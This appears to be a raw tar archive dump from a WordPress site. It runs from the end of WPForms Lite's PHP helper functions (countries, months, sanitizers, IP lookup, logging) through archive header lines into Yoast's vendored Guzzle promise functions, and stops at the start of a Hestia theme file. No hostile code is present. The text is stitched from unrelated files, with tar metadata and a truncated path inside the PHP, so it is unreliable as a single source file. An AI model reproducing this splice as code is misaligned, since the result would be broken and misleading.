'SR' => esc_html__( 'Suriname', 'wpforms-lite' ),
'SJ' => esc_html__( 'Svalbard and Jan Mayen', 'wpforms-lite' ),
'SZ' => esc_html__( 'Swaziland', 'wpforms-lite' ),
'SE' => esc_html__( 'Sweden', 'wpforms-lite' ),
'CH' => esc_html__( 'Switzerland', 'wpforms-lite' ),
'SY' => esc_html__( 'Syrian Arab Republic', 'wpforms-lite' ),
'TW' => esc_html__( 'Taiwan, Province of China', 'wpforms-lite' ),
'TJ' => esc_html__( 'Tajikistan', 'wpforms-lite' ),
'TZ' => esc_html__( 'Tanzania (United Republic of)', 'wpforms-lite' ),
'TH' => esc_html__( 'Thailand', 'wpforms-lite' ),
'TL' => esc_html__( 'Timor-Leste', 'wpforms-lite' ),
'TG' => esc_html__( 'Togo', 'wpforms-lite' ),
'TK' => esc_html__( 'Tokelau', 'wpforms-lite' ),
'TO' => esc_html__( 'Tonga', 'wpforms-lite' ),
'TT' => esc_html__( 'Trinidad and Tobago', 'wpforms-lite' ),
'TN' => esc_html__( 'Tunisia', 'wpforms-lite' ),
'TR' => esc_html__( 'Turkey', 'wpforms-lite' ),
'TM' => esc_html__( 'Turkmenistan', 'wpforms-lite' ),
'TC' => esc_html__( 'Turks and Caicos Islands', 'wpforms-lite' ),
'TV' => esc_html__( 'Tuvalu', 'wpforms-lite' ),
'UG' => esc_html__( 'Uganda', 'wpforms-lite' ),
'UA' => esc_html__( 'Ukraine', 'wpforms-lite' ),
'AE' => esc_html__( 'United Arab Emirates', 'wpforms-lite' ),
'GB' => esc_html__( 'United Kingdom of Great Britain and Northern Ireland', 'wpforms-lite' ),
'US' => esc_html__( 'United States of America', 'wpforms-lite' ),
'UM' => esc_html__( 'United States Minor Outlying Islands', 'wpforms-lite' ),
'UY' => esc_html__( 'Uruguay', 'wpforms-lite' ),
'UZ' => esc_html__( 'Uzbekistan', 'wpforms-lite' ),
'VU' => esc_html__( 'Vanuatu', 'wpforms-lite' ),
'VA' => esc_html__( 'Vatican City State', 'wpforms-lite' ),
'VE' => esc_html__( 'Venezuela (Bolivarian Republic of)', 'wpforms-lite' ),
'VN' => esc_html__( 'Viet Nam', 'wpforms-lite' ),
'VG' => esc_html__( 'Virgin Islands (British)', 'wpforms-lite' ),
'VI' => esc_html__( 'Virgin Islands (U.S.)', 'wpforms-lite' ),
'WF' => esc_html__( 'Wallis and Futuna', 'wpforms-lite' ),
'EH' => esc_html__( 'Western Sahara', 'wpforms-lite' ),
'YE' => esc_html__( 'Yemen', 'wpforms-lite' ),
'ZM' => esc_html__( 'Zambia', 'wpforms-lite' ),
'ZW' => esc_html__( 'Zimbabwe', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_countries', $countries );
}
/**
* Calendar Months.
*
* @since 1.3.7
* @return array
*/
function wpforms_months() {
$months = array(
'Jan' => esc_html__( 'January', 'wpforms-lite' ),
'Feb' => esc_html__( 'February', 'wpforms-lite' ),
'Mar' => esc_html__( 'March', 'wpforms-lite' ),
'Apr' => esc_html__( 'April', 'wpforms-lite' ),
'May' => esc_html__( 'May', 'wpforms-lite' ),
'Jun' => esc_html__( 'June', 'wpforms-lite' ),
'Jul' => esc_html__( 'July', 'wpforms-lite' ),
'Aug' => esc_html__( 'August', 'wpforms-lite' ),
'Sep' => esc_html__( 'September', 'wpforms-lite' ),
'Oct' => esc_html__( 'October', 'wpforms-lite' ),
'Nov' => esc_html__( 'November', 'wpforms-lite' ),
'Dec' => esc_html__( 'December', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_months', $months );
}
/**
* Calendar Days.
*
* @since 1.3.7
* @return array
*/
function wpforms_days() {
$days = array(
'Sun' => esc_html__( 'Sunday', 'wpforms-lite' ),
'Mon' => esc_html__( 'Monday', 'wpforms-lite' ),
'Tue' => esc_html__( 'Tuesday', 'wpforms-lite' ),
'Wed' => esc_html__( 'Wednesday', 'wpforms-lite' ),
'Thu' => esc_html__( 'Thursday', 'wpforms-lite' ),
'Fri' => esc_html__( 'Friday', 'wpforms-lite' ),
'Sat' => esc_html__( 'Saturday', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_days', $days );
}
/**
* Lookup user IP.
*
* There are many ways to do this, but we prefer the way EDD does it.
* https://github.com/easydigitaldownloads/easy-digital-downloads/blob/master/includes/misc-functions.php#L163
*
* @since 1.2.5
* @return string
*/
function wpforms_get_ip() {
$ip = '127.0.0.1';
if ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
$ip = $_SERVER['REMOTE_ADDR'];
}
// Fix potential CSV returned from $_SERVER variables
$ip_array = array_map( 'trim', explode( ',', $ip ) );
return $ip_array[0];
}
/**
* Sanitizes hex color.
*
* @since 1.2.1
*
* @param string $color
*
* @return string
*/
function wpforms_sanitize_hex_color( $color ) {
if ( empty( $color ) ) {
return '';
}
// 3 or 6 hex digits, or the empty string.
if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
return $color;
}
return '';
}
/**
* Sanitizes error message, primarily used during form frontend output.
*
* @since 1.3.7
*
* @param string $error
*
* @return string
*/
function wpforms_sanitize_error( $error = '' ) {
$allow = array(
'a' => array(
'href' => array(),
'title' => array(),
),
'br' => array(),
'em' => array(),
'strong' => array(),
'p' => array(),
);
return wp_kses( $error, $allow );
}
/**
* Sanitizes a string, that can be a multiline.
* If WP core `sanitize_textarea_field()` exists (after 4.7.0) - use it.
* Otherwise - split onto separate lines, sanitize each one, merge again.
*
* @since 1.4.1
*
* @param string $string
*
* @return string If empty var is passed, or not a string - return unmodified. Otherwise - sanitize.
*/
function wpforms_sanitize_textarea_field( $string ) {
if ( empty( $string ) || ! is_string( $string ) ) {
return $string;
}
if ( function_exists( 'sanitize_textarea_field' ) ) {
$string = sanitize_textarea_field( $string );
} else {
$string = implode( "\n", array_map( 'sanitize_text_field', explode( "\n", $string ) ) );
}
return $string;
}
/**
* Sanitizes an array, that consists of values as strings.
* After that - merge all array values into multiline string.
*
* @since 1.4.1
*
* @param array $array
*
* @return mixed If not an array is passed (or empty var) - return unmodified var. Otherwise - a merged array into multiline string.
*/
function wpforms_sanitize_array_combine( $array ) {
if ( empty( $array ) || ! is_array( $array ) ) {
return $array;
}
return implode( "\n", array_map( 'sanitize_text_field', $array ) );
}
/**
* Detect if we should use a light or dark color based on the color given.
*
* @since 1.2.5
* @link https://docs.woocommerce.com/wc-apidocs/source-function-wc_light_or_dark.html#608-627
*
* @param mixed $color
* @param string $dark (default: '#000000').
* @param string $light (default: '#FFFFFF').
*
* @return string
*/
function wpforms_light_or_dark( $color, $dark = '#000000', $light = '#FFFFFF' ) {
$hex = str_replace( '#', '', $color );
$c_r = hexdec( substr( $hex, 0, 2 ) );
$c_g = hexdec( substr( $hex, 2, 2 ) );
$c_b = hexdec( substr( $hex, 4, 2 ) );
$brightness = ( ( $c_r * 299 ) + ( $c_g * 587 ) + ( $c_b * 114 ) ) / 1000;
return $brightness > 155 ? $dark : $light;
}
/**
* Builds and returns either a taxonomy or post type object that is
* nests to accommodate any hierarchy.
*
* @since 1.3.9
* @since 1.5.0 Return array only. Empty array of no data.
*
* @param array $args Object arguments to pass to data retrieval function.
* @param bool $flat Preserve hierarchy or not. False by default - preserve it.
*
* @return array
*/
function wpforms_get_hierarchical_object( $args = array(), $flat = false ) {
if ( empty( $args['taxonomy'] ) && empty( $args['post_type'] ) ) {
return array();
}
$children = array();
$parents = array();
$ref_parent = '';
$ref_name = '';
if ( ! empty( $args['post_type'] ) ) {
$defaults = array(
'posts_per_page' => - 1,
'orderby' => 'title',
'order' => 'ASC',
);
$args = wp_parse_args( $args, $defaults );
$items = get_posts( $args );
$ref_parent = 'post_parent';
$ref_id = 'ID';
$ref_name = 'post_title';
} elseif ( ! empty( $args['taxonomy'] ) ) {
$defaults = array(
'hide_empty' => false,
);
$args = wp_parse_args( $args, $defaults );
$items = get_terms( $args );
$ref_parent = 'parent';
$ref_id = 'term_id';
$ref_name = 'name';
}
if ( empty( $items ) || is_wp_error( $items ) ) {
return array();
}
foreach ( $items as $item ) {
if ( $item->{$ref_parent} ) {
$children[ $item->{$ref_id} ] = $item;
$children[ $item->{$ref_id} ]->ID = (int) $item->{$ref_id};
} else {
$parents[ $item->{$ref_id} ] = $item;
$parents[ $item->{$ref_id} ]->ID = (int) $item->{$ref_id};
}
}
$children_count = count( $children );
while ( $children_count >= 1 ) {
foreach ( $children as $child ) {
_wpforms_get_hierarchical_object_search( $child, $parents, $children, $ref_parent );
// $children is modified by reference, so we need to recount to make sure we met the limits.
$children_count = count( $children );
}
}
if ( $flat ) {
$parents_flat = array();
_wpforms_get_hierarchical_object_flatten( $parents, $parents_flat, $ref_name );
return $parents_flat;
}
return $parents;
}
/**
* Searches a given array and finds the parent of the provided object.
*
* @since 1.3.9
*
* @param object $child
* @param array $parents
* @param array $children
* @param string $ref_parent
*/
function _wpforms_get_hierarchical_object_search( $child, &$parents, &$children, $ref_parent ) {
foreach ( $parents as $id => $parent ) {
if ( $parent->ID === $child->{$ref_parent} ) {
if ( empty( $parent->children ) ) {
$parents[ $id ]->children = array(
$child->ID => $child,
);
} else {
$parents[ $id ]->children[ $child->ID ] = $child;
}
unset( $children[ $child->ID ] );
} elseif ( ! empty( $parent->children ) && is_array( $parent->children ) ) {
_wpforms_get_hierarchical_object_search( $child, $parent->children, $children, $ref_parent );
}
}
}
/**
* Flattens a hierarchical object.
*
* @since 1.3.9
*
* @param array $array
* @param array $output
* @param string $ref_name
* @param int $level
*/
function _wpforms_get_hierarchical_object_flatten( $array, &$output, $ref_name = 'name', $level = 0 ) {
foreach ( $array as $key => $item ) {
$indicator = apply_filters( 'wpforms_hierarchical_object_indicator', '—' );
$item->{$ref_name} = str_repeat( $indicator, $level ) . ' ' . $item->{$ref_name};
$item->depth = $level + 1;
$output[ $item->ID ] = $item;
if ( ! empty( $item->children ) ) {
_wpforms_get_hierarchical_object_flatten( $item->children, $output, $ref_name, $level + 1 );
unset( $output[ $item->ID ]->children );
}
}
}
/**
* Returns field choice properties for field configured with dynamic choices.
*
* @since 1.4.5
*
* @param array $field Field settings.
* @param int $form_id Form ID.
* @param array $form_data Form data and settings.
*
* @return false|array
*/
function wpforms_get_field_dynamic_choices( $field, $form_id, $form_data = array() ) {
if ( empty( $field['dynamic_choices'] ) ) {
return false;
}
$choices = array();
if ( 'post_type' === $field['dynamic_choices'] ) {
if ( empty( $field['dynamic_post_type'] ) ) {
return false;
}
$posts = wpforms_get_hierarchical_object(
apply_filters(
'wpforms_dynamic_choice_post_type_args',
array(
'post_type' => $field['dynamic_post_type'],
'posts_per_page' => -1,
'orderby' => 'title',
'order' => 'ASC',
),
$field,
$form_id
),
true
);
foreach ( $posts as $post ) {
$choices[] = array(
'value' => $post->ID,
'label' => $post->post_title,
'depth' => isset( $post->depth ) ? absint( $post->depth ) : 1,
);
}
} elseif ( 'taxonomy' === $field['dynamic_choices'] ) {
if ( empty( $field['dynamic_taxonomy'] ) ) {
return false;
}
$terms = wpforms_get_hierarchical_object(
apply_filters(
'wpforms_dynamic_choice_taxonomy_args',
array(
'taxonomy' => $field['dynamic_taxonomy'],
'hide_empty' => false,
),
$field,
$form_data
),
true
);
foreach ( $terms as $term ) {
$choices[] = array(
'value' => $term->term_id,
'label' => $term->name,
'depth' => isset( $term->depth ) ? absint( $term->depth ) : 1,
);
}
}
return $choices;
}
/**
* Insert an array into another array before/after a certain key.
*
* @since 1.3.9
* @link https://gist.github.com/scribu/588429
*
* @param array $array The initial array.
* @param array $pairs The array to insert.
* @param string $key The certain key.
* @param string $position Where to insert the array - before or after the key.
*
* @return array
*/
function wpforms_array_insert( $array, $pairs, $key, $position = 'after' ) {
$key_pos = array_search( $key, array_keys( $array ), true );
if ( 'after' === $position ) {
$key_pos ++;
}
if ( false !== $key_pos ) {
$result = array_slice( $array, 0, $key_pos );
$result = array_merge( $result, $pairs );
$result = array_merge( $result, array_slice( $array, $key_pos ) );
} else {
$result = array_merge( $array, $pairs );
}
return $result;
}
/**
* Recursively remove empty strings from an array.
*
* @since 1.3.9.1
*
* @param array $data
*
* @return array
*/
function wpforms_array_remove_empty_strings( $data ) {
foreach ( $data as $key => $value ) {
if ( is_array( $value ) ) {
$data[ $key ] = wpforms_array_remove_empty_strings( $data[ $key ] );
}
if ( '' === $data[ $key ] ) {
unset( $data[ $key ] );
}
}
return $data;
}
/**
* Whether plugin works in a debug mode.
*
* @since 1.2.3
*
* @return bool
*/
function wpforms_debug() {
$debug = false;
if ( ( defined( 'WPFORMS_DEBUG' ) && true === WPFORMS_DEBUG ) && is_super_admin() ) {
$debug = true;
}
$debug_option = get_option( 'wpforms_debug' );
if ( $debug_option ) {
$current_user = wp_get_current_user();
if ( $current_user->user_login === $debug_option ) {
$debug = true;
}
}
return apply_filters( 'wpforms_debug', $debug );
}
/**
* Helper function to display debug data.
*
* @since 1.0.0
*
* @param mixed $data What to dump, can be any type.
* @param bool $echo Whether to print or return. Default is to print.
*
* @return string
*/
function wpforms_debug_data( $data, $echo = true ) {
if ( wpforms_debug() ) {
$output = '<textarea style="background:#fff;margin: 20px 0;width:100%;height:500px;font-size:12px;font-family: Consolas,Monaco,monospace;direction: ltr;unicode-bidi: embed;line-height: 1.4;padding: 4px 6px 1px;" readonly>';
$output .= "=================== WPFORMS DEBUG ===================\n\n";
if ( is_array( $data ) || is_object( $data ) ) {
$output .= print_r( $data, true ); // phpcs:ignore
} else {
$output .= $data;
}
$output .= '</textarea>';
if ( $echo ) {
echo $output; // phpcs:ignore
} else {
return $output;
}
}
}
/**
* Log helper.
*
* @since 1.0.0
*
* @param string $title Title of a log message.
* @param mixed $message Content of a log message.
* @param array $args Expected keys: form_id, meta, parent.
*/
function wpforms_log( $title = '', $message = '', $args = array() ) {
// Require log title.
if ( empty( $title ) ) {
return;
}
// Force logging everything when in debug mode.
if ( ! wpforms_debug() ) {
/**
* Compare error levels to determine if we should log.
* Current supported levels:
* - Errors (error)
* - Spam (spam)
* - Entries (entry)
* - Payments (payment)
* - Providers (provider)
* - Conditional Logic (conditional_logic)
*/
$type = ! empty( $args['type'] ) ? (array) $args['type'] : array( 'error' );
$levels = array_intersect( $type, get_option( 'wpforms_logging', array() ) );
if ( empty( $levels ) ) {
return;
}
}
// Meta.
if ( ! empty( $args['form_id'] ) ) {
$meta = array(
'form' => absint( $args['form_id'] ),
);
} elseif ( ! empty( $args['meta'] ) ) {
$meta = $args['meta'];
} else {
$meta = '';
}
// Parent element.
$parent = ! empty( $args['parent'] ) ? $args['parent'] : 0;
// Make arrays and objects look nice.
if ( is_array( $message ) || is_object( $message ) ) {
$message = '<pre>' . print_r( $message, true ) . '</pre>'; // phpcs:ignore
}
// Create log entry.
wpforms()->logs->add( $title, $message, $parent, $parent, $meta );
}
/**
* Check whether the current page is in AMP mode or not.
* We need to check for specific functions, as there is no special AMP header.
*
* @since 1.4.1
*
* @return bool
*/
function wpforms_is_amp() {
$is_amp = false;
if (
// AMP by Automattic; ampforwp.
( function_exists( 'is_amp_endpoint' ) && is_amp_endpoint() ) ||
// Better AMP.
( function_exists( 'is_better_amp' ) && is_better_amp() )
) {
$is_amp = true;
}
return apply_filters( 'wpforms_is_amp', $is_amp );
}
/**
* Decode special characters, both alpha- (<) and numeric-based (').
*
* @since 1.4.1
*
* @param string $string Raw string to decode.
*
* @return string
*/
function wpforms_decode_string( $string ) {
if ( ! is_string( $string ) ) {
return $string;
}
return wp_kses_decode_entities( html_entity_decode( $string, ENT_QUOTES ) );
}
add_filter( 'wpforms_email_message', 'wpforms_decode_string' );
/**
* Get a suffix for assets, `.min` if debug is disabled.
*
* @since 1.4.1
*
* @return string
*/
function wpforms_get_min_suffix() {
return wpforms_debug() ? '' : '.min';
}
/**
* Get the required label text, with a filter.
*
* @since 1.4.4
*
* @return string
*/
function wpforms_get_required_label() {
return apply_filters( 'wpforms_required_label', esc_html__( 'This field is required.', 'wpforms-lite' ) );
}
/**
* Get the required field label HTML, with a filter.
*
* @since 1.4.8
*
* @return string
*/
function wpforms_get_field_required_label() {
$label_html = apply_filters_deprecated(
'wpforms_field_required_label',
array( ' <span class="wpforms-required-label">*</span>' ),
'1.4.8 of WPForms plugin',
'wpforms_get_field_required_label'
);
return apply_filters( 'wpforms_get_field_required_label', $label_html );
}
/**
* Get the default capability to manage everything for WPForms.
*
* @since 1.4.4
*
* @return string
*/
function wpforms_get_capability_manage_options() {
return apply_filters( 'wpforms_manage_cap', 'manage_options' );
}
/**
* Check permissions for currently logged in user.
*
* @since 1.4.4
*
* @return bool
*/
function wpforms_current_user_can() {
$capability = wpforms_get_capability_manage_options();
return apply_filters( 'wpforms_current_user_can', current_user_can( $capability ), $capability );
}
/**
* Get the certain date of a specified day in a specified format.
*
* @since 1.4.4
*
* @param string $period Supported values: start, end.
* @param string $timestamp Default is the current timestamp, if left empty.
* @param string $format Default is a MySQL format.
*
* @return string
*/
function wpforms_get_day_period_date( $period, $timestamp = '', $format = 'Y-m-d H:i:s' ) {
$date = '';
if ( empty( $timestamp ) ) {
$timestamp = time();
}
switch ( $period ) {
case 'start_of_day':
$date = date( $format, strtotime( 'today', $timestamp ) );
break;
case 'end_of_day':
$date = date( $format, strtotime( 'tomorrow', $timestamp ) - 1 );
break;
}
return $date;
}
/**
* Get an array of all the active provider addons.
*
* @since 1.4.7
*
* @return array
*/
function wpforms_get_providers_available() {
return (array) apply_filters( 'wpforms_providers_available', array() );
}
/**
* Get options for all providers.
*
* @since 1.4.7
*
* @param string $provider Define a single provider to get options for this one only.
*
* @return array
*/
function wpforms_get_providers_options( $provider = '' ) {
$options = get_option( 'wpforms_providers', array() );
$provider = sanitize_key( $provider );
$data = $options;
if ( ! empty( $provider ) && isset( $options[ $provider ] ) ) {
$data = $options[ $provider ];
}
return (array) apply_filters( 'wpforms_get_providers_options', $data, $provider );
}
/**
* Update options for all providers.
*
* @since 1.4.7
*
* @param string $provider Provider slug.
* @param array|false $options If false is passed - provider will be removed. Otherwise saved.
* @param string $key Optional key to identify which connection to update. If empty - generate a new one.
*/
function wpforms_update_providers_options( $provider, $options, $key = '' ) {
$providers = wpforms_get_providers_options();
$id = ! empty( $key ) ? $key : uniqid();
$provider = sanitize_key( $provider );
if ( $options ) {
$providers[ $provider ][ $id ] = (array) $options;
} else {
unset( $providers[ $provider ] );
}
update_option( 'wpforms_providers', $providers );
}
/**
* Helper function to determine if loading an WPForms related admin page.
*
* Here we determine if the current administration page is owned/created by
* WPForms. This is done in compliance with WordPress best practices for
* development, so that we only load required WPForms CSS and JS files on pages
* we create. As a result we do not load our assets admin wide, where they might
* conflict with other plugins needlessly, also leading to a better, faster user
* experience for our users.
*
* @since 1.3.9
*
* @param string $slug Slug identifier for a specific WPForms admin page.
* @param string $view Slug identifier for a specific WPForms admin page view ("subpage").
*
* @return boolean
*/
function wpforms_is_admin_page( $slug = '', $view = '' ) {
// Check against basic requirements.
if (
! is_admin() ||
empty( $_REQUEST['page'] ) ||
strpos( $_REQUEST['page'], 'wpforms' ) === false
) {
return false;
}
// Check against page slug identifier.
if (
( ! empty( $slug ) && 'wpforms-' . $slug !== $_REQUEST['page'] ) ||
( empty( $slug ) && 'wpforms-builder' === $_REQUEST['page'] )
) {
return false;
}
// Check against sub-level page view.
if (
! empty( $view ) &&
( empty( $_REQUEST['view'] ) || $view !== $_REQUEST['view'] )
) {
return false;
}
return true;
}
/**
* Get the ISO 639-2 Language Code from user/site locale.
*
* @see http://www.loc.gov/standards/iso639-2/php/code_list.php
*
* @since 1.5.0
*
* @return string
*/
function wpforms_get_language_code() {
$default_lang = 'en';
$locale = get_user_locale();
if ( ! empty( $locale ) ) {
$lang = explode( '_', $locale );
if ( ! empty( $lang ) && is_array( $lang ) ) {
$default_lang = strtolower( $lang[0] );
}
}
return $default_lang;
}
/**
* Determine if we should show the "Show Values" toggle for checkbox, radio, or
* select fields in form builder. Legacy.
*
* @since 1.5.0
*
* @return bool
*/
function wpforms_show_fields_options_setting() {
return apply_filters( 'wpforms_fields_show_options_setting', false );
}
/**
* Check if a string is empty.
*
* @since 1.5.0
*
* @param string $string String to test.
*
* @return bool
*/
function wpforms_is_empty_string( $string ) {
if ( is_string( $string ) && '' === $string ) {
return true;
}
return false;
}
namtation/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/functions.php 0000644 00000025344 15113671167 0032733 0 ustar 00 home/xbodynamge <?php
namespace YoastSEO_Vendor\GuzzleHttp\Promise;
/**
* Get the global task queue used for promise resolution.
*
* This task queue MUST be run in an event loop in order for promises to be
* settled asynchronously. It will be automatically run when synchronously
* waiting on a promise.
*
* <code>
* while ($eventLoop->isRunning()) {
* GuzzleHttp\Promise\queue()->run();
* }
* </code>
*
* @param TaskQueueInterface $assign Optionally specify a new queue instance.
*
* @return TaskQueueInterface
*
* @deprecated queue will be removed in guzzlehttp/promises:2.0. Use Utils::queue instead.
*/
function queue(\YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueueInterface $assign = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue($assign);
}
/**
* Adds a function to run in the task queue when it is next `run()` and returns
* a promise that is fulfilled or rejected with the result.
*
* @param callable $task Task function to run.
*
* @return PromiseInterface
*
* @deprecated task will be removed in guzzlehttp/promises:2.0. Use Utils::task instead.
*/
function task(callable $task)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::task($task);
}
/**
* Creates a promise for a value if the value is not a promise.
*
* @param mixed $value Promise or value.
*
* @return PromiseInterface
*
* @deprecated promise_for will be removed in guzzlehttp/promises:2.0. Use Create::promiseFor instead.
*/
function promise_for($value)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($value);
}
/**
* Creates a rejected promise for a reason if the reason is not a promise. If
* the provided reason is a promise, then it is returned as-is.
*
* @param mixed $reason Promise or reason.
*
* @return PromiseInterface
*
* @deprecated rejection_for will be removed in guzzlehttp/promises:2.0. Use Create::rejectionFor instead.
*/
function rejection_for($reason)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason);
}
/**
* Create an exception for a rejected promise value.
*
* @param mixed $reason
*
* @return \Exception|\Throwable
*
* @deprecated exception_for will be removed in guzzlehttp/promises:2.0. Use Create::exceptionFor instead.
*/
function exception_for($reason)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($reason);
}
/**
* Returns an iterator for the given value.
*
* @param mixed $value
*
* @return \Iterator
*
* @deprecated iter_for will be removed in guzzlehttp/promises:2.0. Use Create::iterFor instead.
*/
function iter_for($value)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::iterFor($value);
}
/**
* Synchronously waits on a promise to resolve and returns an inspection state
* array.
*
* Returns a state associative array containing a "state" key mapping to a
* valid promise state. If the state of the promise is "fulfilled", the array
* will contain a "value" key mapping to the fulfilled value of the promise. If
* the promise is rejected, the array will contain a "reason" key mapping to
* the rejection reason of the promise.
*
* @param PromiseInterface $promise Promise or value.
*
* @return array
*
* @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspect instead.
*/
function inspect(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::inspect($promise);
}
/**
* Waits on all of the provided promises, but does not unwrap rejected promises
* as thrown exception.
*
* Returns an array of inspection state arrays.
*
* @see inspect for the inspection state array format.
*
* @param PromiseInterface[] $promises Traversable of promises to wait upon.
*
* @return array
*
* @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspectAll instead.
*/
function inspect_all($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::inspectAll($promises);
}
/**
* Waits on all of the provided promises and returns the fulfilled values.
*
* Returns an array that contains the value of each promise (in the same order
* the promises were provided). An exception is thrown if any of the promises
* are rejected.
*
* @param iterable<PromiseInterface> $promises Iterable of PromiseInterface objects to wait on.
*
* @return array
*
* @throws \Exception on error
* @throws \Throwable on error in PHP >=7
*
* @deprecated unwrap will be removed in guzzlehttp/promises:2.0. Use Utils::unwrap instead.
*/
function unwrap($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::unwrap($promises);
}
/**
* Given an array of promises, return a promise that is fulfilled when all the
* items in the array are fulfilled.
*
* The promise's fulfillment value is an array with fulfillment values at
* respective positions to the original array. If any promise in the array
* rejects, the returned promise is rejected with the rejection reason.
*
* @param mixed $promises Promises or values.
* @param bool $recursive If true, resolves new promises that might have been added to the stack during its own resolution.
*
* @return PromiseInterface
*
* @deprecated all will be removed in guzzlehttp/promises:2.0. Use Utils::all instead.
*/
function all($promises, $recursive = \false)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::all($promises, $recursive);
}
/**
* Initiate a competitive race between multiple promises or values (values will
* become immediately fulfilled promises).
*
* When count amount of promises have been fulfilled, the returned promise is
* fulfilled with an array that contains the fulfillment values of the winners
* in order of resolution.
*
* This promise is rejected with a {@see AggregateException} if the number of
* fulfilled promises is less than the desired $count.
*
* @param int $count Total number of promises.
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated some will be removed in guzzlehttp/promises:2.0. Use Utils::some instead.
*/
function some($count, $promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::some($count, $promises);
}
/**
* Like some(), with 1 as count. However, if the promise fulfills, the
* fulfillment value is not an array of 1 but the value directly.
*
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated any will be removed in guzzlehttp/promises:2.0. Use Utils::any instead.
*/
function any($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::any($promises);
}
/**
* Returns a promise that is fulfilled when all of the provided promises have
* been fulfilled or rejected.
*
* The returned promise is fulfilled with an array of inspection state arrays.
*
* @see inspect for the inspection state array format.
*
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated settle will be removed in guzzlehttp/promises:2.0. Use Utils::settle instead.
*/
function settle($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::settle($promises);
}
/**
* Given an iterator that yields promises or values, returns a promise that is
* fulfilled with a null value when the iterator has been consumed or the
* aggregate promise has been fulfilled or rejected.
*
* $onFulfilled is a function that accepts the fulfilled value, iterator index,
* and the aggregate promise. The callback can invoke any necessary side
* effects and choose to resolve or reject the aggregate if needed.
*
* $onRejected is a function that accepts the rejection reason, iterator index,
* and the aggregate promise. The callback can invoke any necessary side
* effects and choose to resolve or reject the aggregate if needed.
*
* @param mixed $iterable Iterator or array to iterate over.
* @param callable $onFulfilled
* @param callable $onRejected
*
* @return PromiseInterface
*
* @deprecated each will be removed in guzzlehttp/promises:2.0. Use Each::of instead.
*/
function each($iterable, callable $onFulfilled = null, callable $onRejected = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::of($iterable, $onFulfilled, $onRejected);
}
/**
* Like each, but only allows a certain number of outstanding promises at any
* given time.
*
* $concurrency may be an integer or a function that accepts the number of
* pending promises and returns a numeric concurrency limit value to allow for
* dynamic a concurrency size.
*
* @param mixed $iterable
* @param int|callable $concurrency
* @param callable $onFulfilled
* @param callable $onRejected
*
* @return PromiseInterface
*
* @deprecated each_limit will be removed in guzzlehttp/promises:2.0. Use Each::ofLimit instead.
*/
function each_limit($iterable, $concurrency, callable $onFulfilled = null, callable $onRejected = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::ofLimit($iterable, $concurrency, $onFulfilled, $onRejected);
}
/**
* Like each_limit, but ensures that no promise in the given $iterable argument
* is rejected. If any promise is rejected, then the aggregate promise is
* rejected with the encountered rejection.
*
* @param mixed $iterable
* @param int|callable $concurrency
* @param callable $onFulfilled
*
* @return PromiseInterface
*
* @deprecated each_limit_all will be removed in guzzlehttp/promises:2.0. Use Each::ofLimitAll instead.
*/
function each_limit_all($iterable, $concurrency, callable $onFulfilled = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::ofLimitAll($iterable, $concurrency, $onFulfilled);
}
/**
* Returns true if a promise is fulfilled.
*
* @return bool
*
* @deprecated is_fulfilled will be removed in guzzlehttp/promises:2.0. Use Is::fulfilled instead.
*/
function is_fulfilled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::fulfilled($promise);
}
/**
* Returns true if a promise is rejected.
*
* @return bool
*
* @deprecated is_rejected will be removed in guzzlehttp/promises:2.0. Use Is::rejected instead.
*/
function is_rejected(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::rejected($promise);
}
/**
* Returns true if a promise is fulfilled or rejected.
*
* @return bool
*
* @deprecated is_settled will be removed in guzzlehttp/promises:2.0. Use Is::settled instead.
*/
function is_settled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($promise);
}
/**
* Create a new coroutine.
*
* @see Coroutine
*
* @return PromiseInterface
*
* @deprecated coroutine will be removed in guzzlehttp/promises:2.0. Use Coroutine::of instead.
*/
function coroutine(callable $generatorFn)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Coroutine::of($generatorFn);
}
home/xbodynamge/www/wp-content/themes/hestia/inc/compatibility/max-mega-menu/functions.php 0000644 00000007163 15113676167 0026142 0 ustar 00 <?php
/**
